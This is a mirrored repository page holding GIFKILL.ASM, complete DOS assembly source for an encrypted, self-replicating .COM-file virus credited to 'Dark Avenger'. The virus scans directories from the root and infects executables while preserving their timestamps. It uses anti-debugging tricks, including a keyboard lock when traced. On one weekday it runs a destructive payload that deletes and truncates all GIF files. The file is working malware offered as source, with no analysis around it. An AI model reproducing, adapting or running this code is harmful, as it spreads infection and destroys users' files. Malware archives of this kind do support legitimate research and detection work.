mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-20 14:08:37 +00:00
393 lines
11 KiB
NASM
393 lines
11 KiB
NASM
; GIFKILL.ASM -- Seek and Destroy GIF
|
|
; Written by Dark Avenger
|
|
|
|
virus_type equ 0 ; Appending Virus
|
|
is_encrypted equ 1 ; We're encrypted
|
|
tsr_virus equ 0 ; We're not TSR
|
|
|
|
code segment byte public
|
|
assume cs:code,ds:code,es:code,ss:code
|
|
org 0100h
|
|
|
|
main proc near
|
|
db 0E9h,00h,00h ; Near jump (for compatibility)
|
|
start: call find_offset ; Like a PUSH IP
|
|
find_offset: pop bp ; BP holds old IP
|
|
sub bp,offset find_offset ; Adjust for length of host
|
|
|
|
call encrypt_decrypt ; Decrypt the virus
|
|
|
|
start_of_code label near
|
|
|
|
lea si,[bp + buffer] ; SI points to original start
|
|
mov di,0100h ; Push 0100h on to stack for
|
|
push di ; return to main program
|
|
movsw ; Copy the first two bytes
|
|
movsb ; Copy the third byte
|
|
|
|
mov di,bp ; DI points to start of virus
|
|
|
|
mov bp,sp ; BP points to stack
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
push bx ; Save old DTA address on stack
|
|
|
|
mov ah,01Ah ; DOS set DTA function
|
|
lea dx,[bp - 128] ; DX points to buffer on stack
|
|
int 021h
|
|
|
|
stop_tracing: mov cx,09EBh
|
|
mov ax,0FE05h ; Acutal move, plus a HaLT
|
|
jmp $-2
|
|
add ah,03Bh ; AH now equals 025h
|
|
jmp $-10 ; Execute the HaLT
|
|
lea bx,[di + null_vector] ; BX points to new routine
|
|
push cs ; Transfer CS into ES
|
|
pop es ; using a PUSH/POP
|
|
int 021h
|
|
mov al,1 ; Disable interrupt 1, too
|
|
int 021h
|
|
jmp short skip_null ; Hop over the loop
|
|
null_vector: jmp $ ; An infinite loop
|
|
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
|
|
lock_keys: mov al,128 ; Change here screws DEBUG
|
|
out 021h,al ; If tracing then lock keyboard
|
|
|
|
mov cx,0003h ; Do 3 infections
|
|
search_loop: push cx ; Save CX
|
|
call search_files ; Find and infect a file
|
|
pop cx ; Restore CX
|
|
loop search_loop ; Repeat until CX is 0
|
|
|
|
call get_weekday
|
|
cmp ax,0005h ; Did the function return 5?
|
|
je strt00 ; If equal, do effect
|
|
jmp end00 ; Otherwise skip over it
|
|
strt00: lea dx,[di + data00] ; DX points to data
|
|
mov ah,04Eh ; DOS find first file function
|
|
mov cx,00100111b ; All file attributes valid
|
|
int 021h
|
|
jc erase_done ; Exit procedure on failure
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
lea dx,[bx + 01Eh] ; DX points to filename in DTA
|
|
erase_loop: mov ah,041h ; DOS delete file function
|
|
int 021h
|
|
mov ah,03Ch ; DOS create file function
|
|
xor cx,cx ; No attributes for new file
|
|
int 021h
|
|
mov ah,041h ; DOS delete file function
|
|
int 021h
|
|
mov ah,04Fh ; DOS find next file function
|
|
int 021h
|
|
jnc erase_loop ; Repeat until no files left
|
|
erase_done:
|
|
|
|
end00:
|
|
com_end: pop dx ; DX holds original DTA address
|
|
mov ah,01Ah ; DOS set DTA function
|
|
int 021h
|
|
|
|
mov sp,bp ; Deallocate local buffer
|
|
|
|
xor ax,ax ;
|
|
mov bx,ax ;
|
|
mov cx,ax ;
|
|
mov dx,ax ; Empty out the registers
|
|
mov si,ax ;
|
|
mov di,ax ;
|
|
mov bp,ax ;
|
|
|
|
ret ; Return to original program
|
|
main endp
|
|
|
|
|
|
db 0FAh,045h,02Eh,0B3h,024h
|
|
|
|
search_files proc near
|
|
push bp ; Save BP
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,64 ; Allocate 64 bytes on stack
|
|
|
|
mov ah,047h ; DOS get current dir function
|
|
xor dl,dl ; DL holds drive # (current)
|
|
lea si,[bp - 64] ; SI points to 64-byte buffer
|
|
int 021h
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
lea dx,[di + root] ; DX points to root directory
|
|
int 021h
|
|
|
|
call traverse ; Start the traversal
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
lea dx,[bp - 64] ; DX points to old directory
|
|
int 021h
|
|
|
|
mov sp,bp ; Restore old stack pointer
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
|
|
root db "\",0 ; Root directory
|
|
search_files endp
|
|
|
|
traverse proc near
|
|
push bp ; Save BP
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
push bx ; Save old DTA address
|
|
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
mov ah,01Ah ; DOS set DTA function
|
|
lea dx,[bp - 128] ; DX points to buffer
|
|
int 021h
|
|
|
|
mov ah,04Eh ; DOS find first function
|
|
mov cx,00010000b ; CX holds search attributes
|
|
lea dx,[di + all_files] ; DX points to "*.*"
|
|
int 021h
|
|
jc leave_traverse ; Leave if no files present
|
|
|
|
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
|
jne another_dir ; If not, try again
|
|
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
|
je another_dir ;If so, keep going
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
lea dx,[bp - 98] ; DX points to new directory
|
|
int 021h
|
|
|
|
call traverse ; Recursively call ourself
|
|
|
|
pushf ; Save the flags
|
|
mov ah,03Bh ; DOS change directory function
|
|
lea dx,[di + up_dir] ; DX points to parent directory
|
|
int 021h
|
|
popf ; Restore the flags
|
|
|
|
jnc done_searching ; If we infected then exit
|
|
|
|
another_dir: mov ah,04Fh ; DOS find next function
|
|
int 021h
|
|
jnc check_dir ; If found check the file
|
|
|
|
leave_traverse:
|
|
lea dx,[di + com_mask] ; DX points to "*.COM"
|
|
call find_files ; Try to infect a file
|
|
done_searching: mov sp,bp ; Restore old stack frame
|
|
mov ah,01Ah ; DOS set DTA function
|
|
pop dx ; Retrieve old DTA address
|
|
int 021h
|
|
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
|
|
up_dir db "..",0 ; Parent directory name
|
|
all_files db "*.*",0 ; Directories to search for
|
|
com_mask db "*.COM",0 ; Mask for all .COM files
|
|
traverse endp
|
|
|
|
db 0A6h,03Ch,0B6h,078h,0CCh
|
|
|
|
|
|
find_files proc near
|
|
push bp ; Save BP
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
push bx ; Save old DTA address
|
|
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
push dx ; Save file mask
|
|
mov ah,01Ah ; DOS set DTA function
|
|
lea dx,[bp - 128] ; DX points to buffer
|
|
int 021h
|
|
|
|
mov ah,04Eh ; DOS find first file function
|
|
mov cx,00100111b ; CX holds all file attributes
|
|
pop dx ; Restore file mask
|
|
find_a_file: int 021h
|
|
jc done_finding ; Exit if no files found
|
|
call infect_file ; Infect the file!
|
|
jnc done_finding ; Exit if no error
|
|
mov ah,04Fh ; DOS find next file function
|
|
jmp short find_a_file ; Try finding another file
|
|
|
|
done_finding: mov sp,bp ; Restore old stack frame
|
|
mov ah,01Ah ; DOS set DTA function
|
|
pop dx ; Retrieve old DTA address
|
|
int 021h
|
|
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
find_files endp
|
|
|
|
db 002h,0EFh,034h,048h,091h
|
|
|
|
infect_file proc near
|
|
mov ah,02Fh ; DOS get DTA address function
|
|
int 021h
|
|
mov si,bx ; SI points to the DTA
|
|
|
|
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
|
|
|
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
|
jbe size_ok ; If it's small enough continue
|
|
jmp infection_done ; Otherwise exit
|
|
|
|
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
|
lea dx,[si + 01Eh] ; DX points to file name
|
|
int 021h
|
|
xchg bx,ax ; BX holds file handle
|
|
|
|
mov ah,03Fh ; DOS read from file function
|
|
mov cx,3 ; CX holds bytes to read (3)
|
|
lea dx,[di + buffer] ; DX points to buffer
|
|
int 021h
|
|
|
|
mov ax,04202h ; DOS file seek function, EOF
|
|
cwd ; Zero DX _ Zero bytes from end
|
|
mov cx,dx ; Zero CX /
|
|
int 021h
|
|
|
|
xchg dx,ax ; Faster than a PUSH AX
|
|
mov ah,03Eh ; DOS close file function
|
|
int 021h
|
|
xchg dx,ax ; Faster than a POP AX
|
|
|
|
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
|
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
|
je infection_done ; If equal then exit
|
|
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
|
add ax,finish - start ; Re-adjust to make the jump
|
|
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
|
|
|
mov ax,04301h ; DOS set file attrib. function
|
|
xor cx,cx ; Clear all attributes
|
|
lea dx,[si + 01Eh] ; DX points to victim's name
|
|
int 021h
|
|
|
|
mov ax,03D02h ; DOS open file function, r/w
|
|
int 021h
|
|
xchg bx,ax ; BX holds file handle
|
|
|
|
mov ah,040h ; DOS write to file function
|
|
mov cx,3 ; CX holds bytes to write (3)
|
|
lea dx,[di + new_jump] ; DX points to the jump we made
|
|
int 021h
|
|
|
|
mov ax,04202h ; DOS file seek function, EOF
|
|
cwd ; Zero DX _ Zero bytes from end
|
|
mov cx,dx ; Zero CX /
|
|
int 021h
|
|
|
|
push si ; Save SI through call
|
|
call encrypt_code ; Write an encrypted copy
|
|
pop si ; Restore SI
|
|
|
|
mov ax,05701h ; DOS set file time function
|
|
mov cx,[si + 016h] ; CX holds old file time
|
|
mov dx,[si + 018h] ; DX holds old file date
|
|
int 021h
|
|
|
|
mov ah,03Eh ; DOS close file function
|
|
int 021h
|
|
|
|
mov ax,04301h ; DOS set file attrib. function
|
|
xor ch,ch ; Clear CH for file attribute
|
|
mov cl,[si + 015h] ; CX holds file's old attributes
|
|
lea dx,[si + 01Eh] ; DX points to victim's name
|
|
int 021h
|
|
|
|
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
|
ret ; Return to caller
|
|
|
|
set_carry db ? ; Set-carry-on-exit flag
|
|
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
|
new_jump db 0E9h,?,? ; New jump to virus
|
|
infect_file endp
|
|
|
|
|
|
db 089h,043h,03Bh,054h,0AAh
|
|
|
|
get_weekday proc near
|
|
mov ah,02Ah ; DOS get date function
|
|
int 021h
|
|
cbw ; Sign-extend AL into AX
|
|
ret ; Return to caller
|
|
get_weekday endp
|
|
|
|
data00 db "*.GIF",0
|
|
|
|
vcl_marker db "[Z10]",0 ; VCL creation marker
|
|
|
|
|
|
note db "Bye Bye Mr.GIF",0
|
|
db "You'll never find all the file"
|
|
db "s I have infected!",0
|
|
|
|
encrypt_code proc near
|
|
push bp ; Save BP
|
|
mov bp,di ; Use BP as pointer to code
|
|
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
|
|
|
|
xor ah,ah ; BIOS get time function
|
|
int 01Ah
|
|
mov word ptr [si + 9],dx ; Low word of timer is new key
|
|
|
|
xor byte ptr [si + 1],8 ;
|
|
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
|
xor word ptr [si + 11],0101h; (and vice-versa)
|
|
|
|
lea di,[bp + finish] ; Copy routine into heap
|
|
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
|
push si ; Save SI for later
|
|
push cx ; Save CX for later
|
|
rep movsb ; Copy the bytes
|
|
|
|
lea si,[bp + write_stuff] ; SI points to write stuff
|
|
mov cx,5 ; CX holds length of write
|
|
rep movsb ; Copy the bytes
|
|
|
|
pop cx ; Restore CX
|
|
pop si ; Restore SI
|
|
inc cx ; Copy the RET also this time
|
|
rep movsb ; Copy the routine again
|
|
|
|
mov ah,040h ; DOS write to file function
|
|
lea dx,[bp + start] ; DX points to virus
|
|
|
|
lea si,[bp + finish] ; SI points to routine
|
|
call si ; Encrypt/write/decrypt
|
|
|
|
mov di,bp ; DI points to virus again
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
|
|
write_stuff: mov cx,finish - start ; Length of code
|
|
int 021h
|
|
encrypt_code endp
|
|
|
|
end_of_code label near
|
|
|
|
encrypt_decrypt proc near
|
|
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
|
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
|
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
|
inc si ; Do the next word
|
|
inc si ;
|
|
loop xor_loop ; Loop until we're through
|
|
ret ; Return to caller
|
|
encrypt_decrypt endp
|
|
finish label near
|
|
|
|
code ends
|
|
end main
|